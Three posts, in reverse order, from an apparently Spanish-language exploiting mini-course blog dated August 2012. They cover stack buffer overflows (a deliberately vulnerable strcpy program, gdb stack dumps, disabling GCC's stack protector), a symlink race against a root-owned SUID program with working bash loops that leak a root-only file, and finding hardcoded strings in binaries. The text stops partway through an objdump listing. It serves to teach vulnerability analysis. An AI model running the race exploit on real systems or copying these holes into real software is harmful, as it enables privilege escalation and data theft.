jueves, 30 de agosto de 2012

Minicurso de exploiting (parte 7): Introducción a los buffers overflows

Y por fin llegamos a la parte que más jugo nos va a dar y que a mi más me gusta :D, los buffers overflows (BoFs). Este tipo de vulnerabilidades fueron descubiertas mucho tiempo atrás, no sabría decir cuando exactamente (creo que sobre 1986) y desde el principio de los tiempos han sido intensivamente explotadas, el gusano Morris ya se aprovechaba de buffer overflows para extenderse por máquinas UNIX. A pesar de lo conocido que resultan este tipo de vulnerabilidades, se sigue incurriendo en ellas muy a menudo, veamos por ejemplo una de las páginas más grandes a nivel mundial que contabilizan vulnerabilidades, securityfocus, cada día encontraremos nuevas vulnerabilidades publicadas pero mientras estoy escribiendo esto, una de las 10 últimas es un buffer overflow. Además siguen representando un problema grave porque, a pesar de todas las contramedidas que existen (las iremos viendo: canaries, Exec-shield, ASLR...) cuando conseguimos explotar una vulnerabilidad de este tipo las posibilidades suelen ser casi ilimitadas, lo que se suele describir como "ejecución de código" en las descripciones de las vulnerabilidades BoFs. Para poner otro ejemplo, el famoso conficker se basaba en este tipo de vulnerabilidad en un servicio RPC de muchísimas versiones de Windows para propagarse... ¡y vaya si se propagó!.

Pero dejemos ya la historia y datos curiosos y empecemos con esto de los BoFs, y lo primero que debemos saber es ¿qué es una vulnerabilidad de buffer overflow?. Una vulnerabilidad de buffer overflow se da en donde la manipulación de un buffer no se hace correctamente y de alguna forma acabamos escribiendo más alla del límite del buffer. Esto puede conllevar que el programa dé un resultado erróneo, que incurra en un acceso ilegal a memoria o segmentation fault, o, y aquí viene lo divertido, que se acabe ejecutando código en la máquina, un código que no debería ser el que se estuviera ejecutando. Y aún se vuelve más divertido si ese código que se ejecuta son cosas que no hay en la máquina de por sí, sino que inyectamos nosotros for fun and profit.

Veamos primero cómo se ve en código un claro ejemplo de vulnerabilidad BoF.

#include <string.h>
#include <stdlib.h>
#include <stdio.h>

int main(int argc, char *argv[]) {
    char buffer[16];

    if (argc != 2)
        printf("Usage: %s <param>\n", argv[0]), exit(-1);

    strcpy(buffer, argv[1]);
    printf("%s\n", buffer);
    return 0;
}

Este código tiene la madre de todos los buffer overflows, se copia en un buffer de tamaño fijo (de tamaño 16) una cadena que a priori no sabemos su tamaño y que bien podría tener un tamaño mayor de 16 bytes (el primer parámetro que le pasamos al programa). Así pues, cuando ejecutamos este programa y le pasamos un argumento de tamaño 16 el programa debería explotar, probemos.

$ ./bof 1234
1234
$ ./bof 123456789012345
123456789012345
$ ./bof 1234567890123456
1234567890123456
$ ./bof 12345678901234567
12345678901234567
*** stack smashing detected ***: ./bof terminated
======= Backtrace: =========
/lib/libc.so.6(__fortify_fail+0x50)[0x1f5970]
/lib/libc.so.6(+0xe591a)[0x1f591a]
./bof[0x8048525]
/lib/libc.so.6(__libc_start_main+0xe7)[0x126ce7]
./bof[0x8048411]
======= Memory map: ========
00110000-00267000 r-xp 00000000 fc:03 382855     /lib/libc-2.12.1.so
00267000-00269000 r--p 00157000 fc:03 382855     /lib/libc-2.12.1.so
00269000-0026a000 rw-p 00159000 fc:03 382855     /lib/libc-2.12.1.so
0026a000-0026d000 rw-p 00000000 00:00 0
00423000-00424000 r-xp 00000000 00:00 0          [vdso]
00715000-00731000 r-xp 00000000 fc:03 382771     /lib/ld-2.12.1.so
00731000-00732000 r--p 0001b000 fc:03 382771     /lib/ld-2.12.1.so
00732000-00733000 rw-p 0001c000 fc:03 382771     /lib/ld-2.12.1.so
007ca000-007e4000 r-xp 00000000 fc:03 382848     /lib/libgcc_s.so.1
007e4000-007e5000 r--p 00019000 fc:03 382848     /lib/libgcc_s.so.1
007e5000-007e6000 rw-p 0001a000 fc:03 382848     /lib/libgcc_s.so.1
08048000-08049000 r-xp 00000000 fc:04 884738     /path/bof
08049000-0804a000 r--p 00000000 fc:04 884738     /path/bof
0804a000-0804b000 rw-p 00001000 fc:04 884738     /path/bof
088c6000-088e7000 rw-p 00000000 00:00 0          [heap]
b7862000-b7863000 rw-p 00000000 00:00 0
b7874000-b7877000 rw-p 00000000 00:00 0
bfba3000-bfbc4000 rw-p 00000000 00:00 0          [stack]
Abortado

De golpe puede parecer un chorrón de cosas chungas y que no entendemos, pero no es verdad, si nos fijamos hay dos partes bien diferenciadas. Por un lado he ejecutado 4 veces el programa con parámetros de distinto tamaño para demostrar el funcionamiento, y por otro lado un volcado de las regiones de memoria del proceso, que ya nos debería sonar puesto que cuando estuvimos viendo cómo eran vimos el fichero /proc/<pid>/maps, que básicamente es lo que se está mostrando aquí.

Centrémonos en las ejecuciones, hemos ejecutado primero con un parámetro de tamaño 5, luego con parámetro de tamaño 16, luego 17 y luego 18 (para quién se esté despistando, recordemos que la strings en C terminan con el byte '\0', que también es un byte ¬¬).

En las 2 primeras ejecuciones no ha pasado nada, como esperabamos puesto que el tamaño del parámetro se ajusta al del buffer. En la tercera, que pasamos 17 bytes y aún así el programa no explota, ya tenemos trabajo para dudar, ¿por qué no explota?. En la última ejecución vemos claramente que el programa explota (stack smashing detected, como habréis visto en uno de los enlaces que he puesto esto de "smashing the stack" es algo muy utilizado en este ámbito :). Veamos entonces qué está pasando en realidad por dentro para que con un parámetro de tamaño 17 no explote y con 18 sí. Con tranquilidad, que lo que viene ahora puede resultar duro... ¡adentrémonos en matrishshshsh!.

$ gdb -q bof
Leyendo símbolos desde /path/bof...(no se encontraron símbolos de depuración)hecho.
(gdb) disas main
Dump of assembler code for function main:
   0x080484a4 <+0>:    push   %ebp
   0x080484a5 <+1>:    mov    %esp,%ebp
   0x080484a7 <+3>:    and    $0xfffffff0,%esp
   0x080484aa <+6>:    sub    $0x40,%esp
   0x080484ad <+9>:    mov    0xc(%ebp),%eax
   0x080484b0 <+12>:    mov    %eax,0x1c(%esp)
   0x080484b4 <+16>:    mov    %gs:0x14,%eax
   0x080484ba <+22>:    mov    %eax,0x3c(%esp)
   0x080484be <+26>:    xor    %eax,%eax
   0x080484c0 <+28>:    cmpl   $0x2,0x8(%ebp)
   0x080484c4 <+32>:    je     0x80484e9 <main+69>
   0x080484c6 <+34>:    mov    0x1c(%esp),%eax
   0x080484ca <+38>:    mov    (%eax),%edx
   0x080484cc <+40>:    mov    $0x80485f0,%eax
   0x080484d1 <+45>:    mov    %edx,0x4(%esp)
   0x080484d5 <+49>:    mov    %eax,(%esp)
   0x080484d8 <+52>:    call   0x80483a8 <printf@plt>
   0x080484dd <+57>:    movl   $0xffffffff,(%esp)
   0x080484e4 <+64>:    call   0x80483d8 <exit@plt>
   0x080484e9 <+69>:    mov    0x1c(%esp),%eax
   0x080484ed <+73>:    add    $0x4,%eax
   0x080484f0 <+76>:    mov    (%eax),%eax
   0x080484f2 <+78>:    mov    %eax,0x4(%esp)
   0x080484f6 <+82>:    lea    0x2c(%esp),%eax
   0x080484fa <+86>:    mov    %eax,(%esp)
   0x080484fd <+89>:    call   0x8048398 <strcpy@plt>
   0x08048502 <+94>:    lea    0x2c(%esp),%eax
   0x08048506 <+98>:    mov    %eax,(%esp)
   0x08048509 <+101>:    call   0x80483c8 <puts@plt>
   0x0804850e <+106>:    mov    $0x0,%eax
   0x08048513 <+111>:    mov    0x3c(%esp),%edx
   0x08048517 <+115>:    xor    %gs:0x14,%edx
   0x0804851e <+122>:    je     0x8048525 <main+129>
   0x08048520 <+124>:    call   0x80483b8 <__stack_chk_fail@plt>
   0x08048525 <+129>:    leave 
   0x08048526 <+130>:    ret   
End of assembler dump.

He marcado por un lado la cantidad de espacio que se reserva para variables locales (0x40 = 72 bytes) en el prólogo de la función. También he marcado la instrucción call que salta a strcpy() (donde se produce la sobreescritura). Y finalmente he marcado la llamada a una función que nosotros no hemos puesto, __stack_chk_fail() (stack check fail). WTF?! ¡Si nosotros no hemos usado esa función!, ¿¡qué hace ahí!?. Lo dije en el primer capítulo y lo vuelvo a repetir ahora, no te creas nada de nadie ni de nada, comprueba las cosas por ti mismo. Lo aclaro rápidamente, desde hace ya bastante tiempo, las versiones de Ubuntu traen una versión de GCC que automáticamente nos mete esta función si estamos manejando bufferes estáticos precisamente para detectar si ha habido bof, y ahora mismo estoy sobre una Ubuntu. Debido a esta función el programa explota con toda esa cantidad de información, luego veremos que no es lo normal. Pero de nuevo nos debería asaltar una pregunta ¿por qué si hay sobreescritura (debería haberla) cuando ejecutamos con un parámetro de 17 bytes, no está explotando?. Pues seguimos el análisis.

(gdb) br *main+89
Punto de interrupción 1 at 0x80484fd
(gdb) run 1234567890123456
Starting program: /path/bof 1234567890123456

Breakpoint 1, 0x080484fd in main ()
(gdb) x/30xw $esp
0xbffff320:    0xbffff34c    0xbffff5c5    0xbffff338    0x08048364
0xbffff330:    0x0011eb60    0x08049ff4    0xbffff368    0xbffff414
0xbffff340:    0x00288324    0x00287ff4    0x08048540    0xbffff368
0xbffff350:    0x0015e985    0x0011eb60    0x0804854b    0x3005f400
0xbffff360:    0x08048540    0x00000000    0xbffff3e8    0x00145ce7
0xbffff370:    0x00000002    0xbffff414    0xbffff420    0xb7fff848
0xbffff380:    0xbffff4c8    0xffffffff    0x0012cff4    0x0804828e
0xbffff390:    0x00000001    0xbffff3d0
(gdb) print /x $ebp
$1 = 0xbffff368
(gdb) x/s 0xbffff5c5
0xbffff5c5:     "1234567890123456"

Paramos el programa justo antes de la llamada a strcpy y miramos la pila, como esto aún puede resultar un poco loco para los iniciados lo he coloreado. Ha saber, los números que usan un color más suave son punteros y los que usan un color más fuerte son los datos. A su vez los punteros y sus datos los he pintado usando el mismo tipo de color (rojo, naranja y azul).

Vayamos por partes. Lo que aquí tenemos es el stack frame (que ya los conocemos de antes) de main() justo antes de llamar a strcpy(), en la cima de la pila tenemos los parámetros para strcpy(), primero el puntero a nuestro buffer estático (rojo suave), que además vemos que está un poco más abajo en la pila (en rojo fuerte) y que contiene porquería. Justo después está el puntero argv[1] (naranja suave), que como muestro al final contiene el parámetro (naranja fuerte). Para saber el límite del stack frame de main() he mostrado también el contenido del registro EBP (azul suave), que está apuntando al saved EBP del stack frame anterior (azul oscuro). Como recordatorio de los stack frames también he marcado en verde suave la dirección de retorno, pero no viene al caso.

Ahora sabemos que cuando ejecutemos strcpy() se copiará el parámetro "123456..." en la zona pintada rojo fuerte. Veámoslo.

(gdb) nexti
0x08048502 in main ()
(gdb) x/30xw $esp
0xbffff320:    0xbffff34c    0xbffff5c5    0xbffff338    0x08048364
0xbffff330:    0x0011eb60    0x08049ff4    0xbffff368    0xbffff414
0xbffff340:    0x00288324    0x00287ff4    0x08048540    0x34333231
0xbffff350:    0x38373635    0x32313039    0x36353433    0x3005f400
0xbffff360:    0x08048540    0x00000000    0xbffff3e8    0x00145ce7
0xbffff370:    0x00000002    0xbffff414    0xbffff420    0xb7fff848
0xbffff380:    0xbffff4c8    0xffffffff    0x0012cff4    0x0804828e
0xbffff390:    0x00000001    0xbffff3d0

Efectivamente ha ocurrido lo que esperábamos, lo que antes era porquería ahora es una copia del parámetro que pasamos (0x30 en ASCII = '0', 0x31 = '1' y así sucesivamente... ale, a aprender la tabla ASCII xD). Sin embargo nótese un pequeño detalle, el último byte que he pintado de rojo fuerte va más allá de los 16 del buffer estático, está en 0x3005f400 y es el último byte, el '\0' con el que terminan las strings en C. Volvamos un poco atrás y comprobemos que ese byte antes de la llamada a strcpy() también era 0. Ese byte realmente ha sido sobreescrito por el \0 de la string, pero al ser igual no está produciendo nada raro, y es por ello que la ejecución con un parámetro de tamaño 17 no explota. Sin embargo, como ya se supondrá, si ejecutamos con tamaño 18.

(gdb) run 12345678901234567
The program being debugged has been started already.
Start it from the beginning? (y o n) y
Starting program: /path/bof 12345678901234567

Breakpoint 1, 0x080484fd in main ()
(gdb) x/30xw $esp
0xbffff320:    0xbffff34c    0xbffff5c4    0xbffff338    0x08048364
0xbffff330:    0x0011eb60    0x08049ff4    0xbffff368    0xbffff414
0xbffff340:    0x00288324    0x00287ff4    0x08048540    0xbffff368
0xbffff350:    0x0015e985    0x0011eb60    0x0804854b    0x52d69a00
0xbffff360:    0x08048540    0x00000000    0xbffff3e8    0x00145ce7
0xbffff370:    0x00000002    0xbffff414    0xbffff420    0xb7fff848
0xbffff380:    0xbffff4c8    0xffffffff    0x0012cff4    0x0804828e
0xbffff390:    0x00000001    0xbffff3d0
(gdb) nexti
0x08048502 in main ()
(gdb) x/30xw $esp
0xbffff320:    0xbffff34c    0xbffff5c4    0xbffff338    0x08048364
0xbffff330:    0x0011eb60    0x08049ff4    0xbffff368    0xbffff414
0xbffff340:    0x00288324    0x00287ff4    0x08048540    0x34333231
0xbffff350:    0x38373635    0x32313039    0x36353433    0x52d60037
0xbffff360:    0x08048540    0x00000000    0xbffff3e8    0x00145ce7
0xbffff370:    0x00000002    0xbffff414    0xbffff420    0xb7fff848
0xbffff380:    0xbffff4c8    0xffffffff    0x0012cff4    0x0804828e
0xbffff390:    0x00000001    0xbffff3d

Vemos que ahora el valor que es sobreescrito sí que cambia, antes de la ejecución era 0x52d69a00 y después es 0x52d60037. Hemos sobreescritos los 2 últimos bytes con 0x37, '7' en ASCII, y con el 0 de terminación de string. Fijémonos en un detalle curioso, aunque el valor que había justo después de nuestro buffer estático ha sido diferente en cada una de las ejecuciones que he hecho, el último byte en ambas ha sido 0. Interesante.

Bueno, pues ya que hemos visto lo que está pasando por debajo voy a descubrir el pastel. Todo el sistema de comprobación que usa __stack_chk_fail() y que mete el GCC de Ubuntu sin que se lo pidamos se basa en poner después de los bufferes estáticos un númerito, que se conoce como canario y que sirve para detectar los buffers overflows si cambia. Casualmente al ser su último byte un 0 y terminar las strings de C en 0, aunque se estaba incurriendo en sobreescritura incluso con un parámetro de 17 bytes, al no cambiar ese canario __stack_chk_fail() no lo estaba detectando.

Pues esto es una mierda para empezar a estudiar buffers overflows puesto que "impide" hacerlos (se puede saltar, ya veremos cómo), así que vamos a quitar estas ñapas para dejar nuestros programas pelados y que podamos ir avanzando de finales de los 80 a nuestros días. Para evitar que GCC meta __stack_chk_fail() en nuestros programas, a la hora de compilar tenemos que pasar la opción -fno-stack-protector.

$ gcc -fno-stack-protector -o bof bof.c 
$ objdump -d bof | egrep -A 27 "<main>"
08048454 <main>:
 8048454:    55                       push   %ebp
 8048455:    89 e5                    mov    %esp,%ebp
 8048457:    83 e4 f0                 and    $0xfffffff0,%esp
 804845a:    83 ec 20                 sub    $0x20,%esp
 804845d:    83 7d 08 02              cmpl   $0x2,0x8(%ebp)
 8048461:    74 22                    je     8048485 <main+0x31>
 8048463:    8b 45 0c                 mov    0xc(%ebp),%eax
 8048466:    8b 10                    mov    (%eax),%edx
 8048468:    b8 70 85 04 08           mov    $0x8048570,%eax
 804846d:    89 54 24 04              mov    %edx,0x4(%esp)
 8048471:    89 04 24                 mov    %eax,(%esp)
 8048474:    e8 eb fe ff ff           call   8048364 <printf@plt>
 8048479:    c7 04 24 ff ff ff ff     movl   $0xffffffff,(%esp)
 8048480:    e8 ff fe ff ff           call   8048384 <exit@plt>
 8048485:    8b 45 0c                 mov    0xc(%ebp),%eax
 8048488:    83 c0 04                 add    $0x4,%eax
 804848b:    8b 00                    mov    (%eax),%eax
 804848d:    89 44 24 04              mov    %eax,0x4(%esp)
 8048491:    8d 44 24 10              lea    0x10(%esp),%eax
 8048495:    89 04 24                 mov    %eax,(%esp)
 8048498:    e8 b7 fe ff ff           call   8048354 <strcpy@plt>
 804849d:    8d 44 24 10              lea    0x10(%esp),%eax
 80484a1:    89 04 24                 mov    %eax,(%esp)
 80484a4:    e8 cb fe ff ff           call   8048374 <puts@plt>
 80484a9:    b8 00 00 00 00           mov    $0x0,%eax
 80484ae:    c9                       leave 
 80484af:    c3                       ret

Y ahora sí, vemos como no está la función de protección, he incluso que la cantidad de espacio reservado para variables locales se ha reducido de 0x40 a 0x20 bytes, y también el tamaño de la función. Veamos ahora cómo se comporta el programa sin la protección.

$ ./bof 1234
1234
$ ./bof 123456789012345
123456789012345
$ ./bof 1234567890123456
1234567890123456
$ ./bof 12345678901234567
12345678901234567
$ ./bof 123456789012345678
123456789012345678
$ ./bof 123456789012345678901234567890
123456789012345678901234567890
Violación de segmento

¡Bien, ya empezamos a violar segmentos! ¿Qué significa eso?, genéricamente hablando significa que el programa ha intentando acceder a una zona de memoria para hacer algo (leer, escribir o ejecutar) que no tiene los permisos necesarios (lectura, escritura o ejecución). ¿Puedes intuir qué está pasando y por qué el fallo no está ocurriendo cuando ejecutamos con el parámetro de 17 bytes?. Bueno, eso lo dejo en el aire para que práctiques... esto era un blog práctico, ¿recuerdas? ;).

Saludos.

domingo, 26 de agosto de 2012

Minicurso de exploiting (parte 6): Race conditions

En la entrada anterior vimos lo más simple de lo más simple, cuando el programador mete a fuego (hardcodea) información que no debería estar dentro del binario ya que, conociendo un poco las tripas de los mismos podemos encontrar dicha información, incluso aunque esté ofuscada (aunque no nos paramos a ver técnicas de ofuscación, que las hay y que pueden dar ganas de vomitar).

Cambiamos ahora de vulnerabilidad (si es que al hardcoding se le puede llamar así) y vamos a ver que son las vulnerabilidades de race conditions. Mucha documentación en español (bleg!) suele traducirlo como "condiciones de carrera" y me parece horrible, así que las llamaré race conditions.

Lo primero lo de siempre, ¿qué es una vulnerabilidad race condition?. Una vulnerabilidad de este tipo se da cuando una serie de eventos ocurren en un orden que no habíamos esperado y dando por tanto lugar a un comportamiento inesperado.

Dicho así queda un poco esotérico pero con un ejemplo lo veremos rápidamente. En un sistema multiproceso, tenemos un proceso que va a acceder a un fichero, pero antes comprueba que tiene permiso. Algo como esto.

if (tengo_permiso(fichero))
    abrir_y_hacer_locuras(fichero)
else
    print "¡Truhán!"

Aquí existe una vulnerabilidad de race condition ya que, si después de ejecutar tengo_permiso() y antes de ejecutar abrir_y_hacer_locuras() (algo perfectamente posible en un sistema multiproceso), ese fichero cambia de permisos/estado pueden pasar cosas no previstas.

Pero como la idea del blog es hacerlo todo práctico (o al menos todo lo que pueda), vamos a ver este mismo ejemplo en la realidad real realista. Todo este escenario lo he sacado de una prueba de cierto wargame que hice hace ya tiempo, puedes cogerlo todo y probarlo en una máquina tuya para confirmar su funcionamiento.

Este es el programa con race condition.

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

void printFile(const char *path) {
    int fd;
    char byte;

    if ((fd = open(path, O_RDONLY)) != -1) {
        while (read(fd, &byte, sizeof(char)) != 0)
            printf("%c", byte);
    }

    close(fd);
}

int main(int argc, char *argv[]) {
    if (argc != 2)
        printf("Usage: %s <filename>\n", argv[0]), exit(-1);

    if (access(argv[1], R_OK) == 0)
        printFile(argv[1]);
    else
        printf("Cannot access the file.\n"), exit(-1);

    return 0;
}

Lo he hecho sobre la marcha, no es perfecto pero nos sirve para lo que queremos, al programa se le pasa un nombre de fichero e imprime su contenido. En negrita tenemos las dos llamadas a funciones que propician la race condition (vemos que es casi calcado a lo que puse anteriormente).

Una vez compilado este programa vamos a hacer un par de cosas antes de ejecutarlo, vamos a cambiarle los permisos para activarle el SUID (cosa no recomendada para ningún programa, salvo que se sepa bien que se está haciendo... y aún así no se recomienda). Además vamos a dárselo a root (OMFG! todas las malas prácticas juntas!).

$ sudo chown root race
$ sudo chmod 4511 race
$ ls -l
...
-r-s--x--x 1 root grupo 7376 2012-08-24 18:14 race
...

Ahora este programa lo puede ejecutar cualquier usuario y se ejecuta con permisos de root, pero en principio no permite leer cualquier archivo al que sólo root tenga acceso (a pesar del SUID), sino sólo a los que el usuario que lo ejecuta tenga acceso. Por ejemplo, si intentamos imprimir /etc/shadow ocurre lo siguiente.

$ ./race /etc/shadow
Cannot access the file.

Esto es debido al comportamiento de la función access(). Bueno, pues la race condition está ahí, ¿cómo nos aprovechamos de ella?, ¿qué pasaría si al ejecutar access() se le está pasando cierto fichero al que el usuario que ejecuta sí puede acceder y cuando se ejecute open() es otro al que no puede acceder (o mejor dicho, que access() no le dejaría acceder)?, ¿se puede lograr esto?. La respuesta es sí, vamos a verlo.

Lo primero que voy a hacer es cambiar nuestro ejemplo de shadow por otro fichero ad-hoc.

$ echo "Secreto secretoso." > fichero_root
$ sudo chown root:root fichero_root
$ sudo chmod 700 fichero_root 
$ echo "foo" > fichero_usuario
$ ./race fichero_usuario
foo
$ ./race fichero_root
Cannot access the file.

He creado dos ficheros, por un lado fichero_root el cual es de root y sólo root lo puede leer, por otro lado fichero_usuario que es de un usuario regular del sistema. Lo he hecho para que se viera como a este último fichero sí se puede acceder y al de root no.

En este caso, para aprovecharnos de la race condition vamos a jugar con enlaces simbólicos. Lo que vamos a hacer es crear un pequeño script que creará un enlace simbólico a un fichero que sí podemos acceder y luego lo cambia al que no podemos leer, y así continuamente.

#!/bin/bash

for ((;;)); do 
    ln -sf fichero_usuario link
    ln -sf fichero_root link
    rm -f link

done

Ahora por otro lado lo que vamos a hacer es ejecutar el programa para imprimir el contenido de link repetidamente.

#!/bin/bash

for ((;;)); do
    ./race link
done

Cuando ejecutemos estos dos scripts el primero empezará a hacer que "link" vaya cambiando de fichero al que apunta, por otro lado el segundo script intentará imprimir el contenido de "link". Este último unas veces imprimirá "foo", cuando "link" apunte a fichero_usuario y otras veces imprimirá "Cannot access file" cuando apunte a fichero_root, pero habrá alguna vez, pocas, en que el orden de eventos será el siguiente:
  1. El primer script hace que link apunte a fichero_usuario.
  2. El sistema hará un cambio de contexto y pasará a ejecutarse el segundo script que a su vez ejecutará el programa con la vulnerabilidad. Este programa ejecutará la función access() y comprobará que efectivamente el programa puede acceder a fichero_usuario.
  3. El sistema hará otro cambio de contexto (inmediatamente antes de que se ejecute open() en el programa vulnerable), volverá el primer script a ejecutarse y hará que link apunte a fichero_root.
  4. El sistema volverá a hacer otro cambio de contexto (antes de que se elimine el link y antes de que vuelva a apuntar a fichero_usuario). Volverá a ejecutarse el programa vulnerable, continuando donde se había quedado, justo antes de abrir el fichero y después de haber ejecutado access(). Abrirá el fichero (que puede puesto que el programa se ejecuta con SUID), leerá su contenido y lo imprimirá.
Esto ocurrirá debido a que el sistema en algún momento ejecutará un cambio de contexto entre las siguientes instrucciones del programa vulnerable:

$ sudo objdump -d race | egrep -A 37 "<main>"
08048572 <main>:
 8048572:    55                       push   %ebp
 8048573:    89 e5                    mov    %esp,%ebp
 8048575:    83 e4 f0                 and    $0xfffffff0,%esp
 8048578:    83 ec 10                 sub    $0x10,%esp
 804857b:    83 7d 08 02              cmpl   $0x2,0x8(%ebp)
 804857f:    74 22                    je     80485a3 <main+0x31>
 8048581:    8b 45 0c                 mov    0xc(%ebp),%eax
 8048584:    8b 10                    mov    (%eax),%edx
 8048586:    b8 b0 86 04 08           mov    $0x80486b0,%eax
 804858b:    89 54 24 04              mov    %edx,0x4(%esp)
 804858f:    89 04 24                 mov    %eax,(%esp)
 8048592:    e8 7d fe ff ff           call   8048414 <printf@plt>
 8048597:    c7 04 24 ff ff ff ff     movl   $0xffffffff,(%esp)
 804859e:    e8 a1 fe ff ff           call   8048444 <exit@plt>
 80485a3:    8b 45 0c                 mov    0xc(%ebp),%eax
 80485a6:    83 c0 04                 add    $0x4,%eax
 80485a9:    8b 00                    mov    (%eax),%eax
 80485ab:    c7 44 24 04 04 00 00     movl   $0x4,0x4(%esp)
 80485b2:    00
 80485b3:    89 04 24                 mov    %eax,(%esp)
 80485b6:    e8 49 fe ff ff           call   8048404 <access@plt>
 80485bb:    85 c0                    test   %eax,%eax
 80485bd:    75 17                    jne    80485d6 <main+0x64>
 80485bf:    8b 45 0c                 mov    0xc(%ebp),%eax
 80485c2:    83 c0 04                 add    $0x4,%eax
 80485c5:    8b 00                    mov    (%eax),%eax
 80485c7:    89 04 24                 mov    %eax,(%esp)

 80485ca:    e8 45 ff ff ff           call   8048514 <printFile>
 80485cf:    b8 00 00 00 00           mov    $0x0,%eax
 80485d4:    c9                       leave
 80485d5:    c3                       ret  
 80485d6:    c7 04 24 c6 86 04 08     movl   $0x80486c6,(%esp)
 80485dd:    e8 52 fe ff ff           call   8048434 <puts@plt>
 80485e2:    c7 04 24 ff ff ff ff     movl   $0xffffffff,(%esp)
 80485e9:    e8 56 fe ff ff           call   8048444 <exit@plt>
 80485ee:    90                       nop
 80485ef:    90                       nop

Vemos que entre la llamada a access() y la llamada a printFile() (que contiene la llamada a open()) existen varias instrucciones (y aún hay más contando con el comienzo de printFile()). Aunque poco probable, si el sistema ejecuta un cambio de contexto en ese corto período de tiempo y se da la ejecución de eventos que pusimos antes, accederemos a la información que no debíamos. Dado que la probabilidad de que el cambio de contexto se de justo ahí, lo que hacemos es hacer muchas veces el experimento (ejecutar ambos programas) y en algún momento se dará el orden, ¿y es un tiempo razonable?. Veamos:

$ ./crea_enlaces.sh &
[1] 3129
$ time ./muestra_contenido.sh > results.txt
^C

real    0m5.225s
user    0m0.244s
sys    0m0.880s
$ egrep "Secreto" results.txt
Secreto secretoso.
Secreto secretoso.
$ wc -l results.txt
9013 results.txt

Pues aquí tenemos la respuesta. Estuve 5 segundos más o menos dejando correr los scripts y, efectivamente, se llegó a acceder a la información que no se debía ("Secreto secretoso.") hasta 2 veces. La cantidad de veces que se ejecuto el programa vulnerable fue 9013 veces (ya que en cada ejecución imprime una línea). Vemos que la probabilidad del cambio de contexto ahí en medio es bastante baja, apenas 2/9013... pero los ordenadores de hoy en día son muy rápidos :), sólo tenemos que repetir mucho el experimento... tampoco tardamos tanto :P.

Bueno, pues hasta aquí la teoría sobre race conditions, no son la vulnerabilidad más divertida y pueden ser relativamente difíciles de encontrar pero creía que debía hablar de ellas y explicarlas.

Saludos.

lunes, 13 de agosto de 2012

Minicurso de exploiting (parte 5): Hardcoding the flag

Hardcoding

Esta entrada es un cambio radical comparada con las anteriores. Aquí ya nos podremos con las manos en la masa y empezaremos a hacer cosas (las más sencillitas claro).

Bueno, ¿qué es eso de "hardcoding"? Pues hardcodear (conocido verbo español) no es más que "ponerlo a fuego" en el código de un programa. Algo del estilo:

if (variable == "CADENA_HARDCODEADA") {

Esa "CADENA_HARDCODEADA" estará dentro de los datos del programa y si sabemos buscarla la encontraremos muy rápido. Hacer esto de por si no es malo, es algo que todos los lenguajes permiten y que hacemos muchísimo cuando programamos, pero cuando el dato que se hardcodea es sensible en el sentido de que no cualquiera debería conocerlo, es cuando empieza la mala práctica. Si resultara que ese dato hardcodeado es un serial key, una contraseña, una respuesta a una pregunta secreta o cosas por el estilo ya vemos claramente que habría que añadir alguna capa de protección para que ese dato no sea accedido.

Esto del hardcoding no sólo tiene por qué aplicarse a datos, el código también puede ser algo que queremos ocultar (son datos a fin de cuentas), así que poner una función de "cifrado" inventada por el programador dentro del binario también es hardcoding, cualquiera podrá coger ese código, analizarlo, comprenderlo y probablemente hacerle la función inversa (suponiendo que sea una función reversible, pero si te programas tus propias funciones criptográficas... o eres un pro y lo sabes o la estas cagando :D).

Ojo con maneras más complejas de hardcodear pero que siguen siendo hardcodeo.

Dónde están esos datos

Bueno, lo primero es saber en dónde se encuentran datos como la "CADENA_HARDCODEADA" anterior. Lo cierto es que esto puede variar un poco. En general estos datos se van a encontrar en la sección .data y .rodata del binario, vamos a escribir ese if en un pequeño programa en C (ojito, que lo anterior no era C):

#include <string.h>

int main(int argc, char *argv[]) {
    if (strcmp(argv[0], "CADENA_HARDCODEADA"));
    return 0;
}

Si destripamos byte a byte la sección .rodata encontraremos la cadena.

$ objdump -j .rodata -s hardcoding

hardcoding:     file format elf32-i386

Contents of section .rodata:
 80484a8 03000000 01000200 43414445 4e415f48  ........CADENA_H
 80484b8 41524443 4f444541 444100             ARDCODEADA

Antes comenté que "en general" esos datos están en la sección .data y/o .rodata, pero como siempre ocurre, eso no tiene por qué ser así siempre. Si el literal que estamos buscando es un número, la mayoría de las veces estará hardcodeado directamente dentro de las instrucciones que tengan que hacer uso del mismo. Veamos un ejemplo sencillito.

#include <stdio.h>

int main(int argc, char *argv[]) {
    if (argc == 1)
        printf("Bla bla bla.\n");
    return 0;
}


En este caso ese 1 no estará en la sección .data ni .rodata sino directamente en las instrucciones que codifican ese if.

$ objdump -d hardcoding | egrep -A 11 "<main>"
080483b4 <main>:
 80483b4:    55                       push   %ebp
 80483b5:    89 e5                    mov    %esp,%ebp
 80483b7:    83 e4 f0                 and    $0xfffffff0,%esp
 80483ba:    83 ec 10                 sub    $0x10,%esp
 80483bd:    83 7d 08 01              cmpl   $0x1,0x8(%ebp)
 80483c1:    75 0c                    jne    80483cf <main+0x1b>
 80483c3:    c7 04 24 a0 84 04 08     movl   $0x80484a0,(%esp)
 80483ca:    e8 21 ff ff ff           call   80482f0 <puts@plt>
 80483cf:    b8 00 00 00 00           mov    $0x0,%eax
 80483d4:    c9                       leave
 80483d5:    c3                       ret

En negrita tenemos el 1 hardcodeado en la instrucción cmpl (compare long).

Existe también otro caso curioso y que a mi me gusta bastante mostrar, strings hardcodeadas directamente en las instruciones jejeje.

#include <stdio.h>

int main(int argc, char *argv[]) {
    char var[] = "Hola\n";

    printf("%s", var);
    return 0;
}

Lo suyo sería pensar que "Hola\n" va a estar en .rodata y que a la hora de ejecutar main() a la variable local var se la hará apuntar a la parte de la sección .rodata donde se encuentra "Hola\n", pero lo que pasa es lo siguiente:

$ objdump -d hardcoding | egrep -A 15 "<main>"
080483c4 <main>:
 80483c4:    55                       push   %ebp
 80483c5:    89 e5                    mov    %esp,%ebp
 80483c7:    83 e4 f0                 and    $0xfffffff0,%esp
 80483ca:    83 ec 20                 sub    $0x20,%esp
 80483cd:    c7 44 24 1a 48 6f 6c     movl   $0x616c6f48,0x1a(%esp)
 80483d4:    61
 80483d5:    66 c7 44 24 1e 0a 00     movw   $0xa,0x1e(%esp)
 80483dc:    b8 c0 84 04 08           mov    $0x80484c0,%eax
 80483e1:    8d 54 24 1a              lea    0x1a(%esp),%edx
 80483e5:    89 54 24 04              mov    %edx,0x4(%esp)
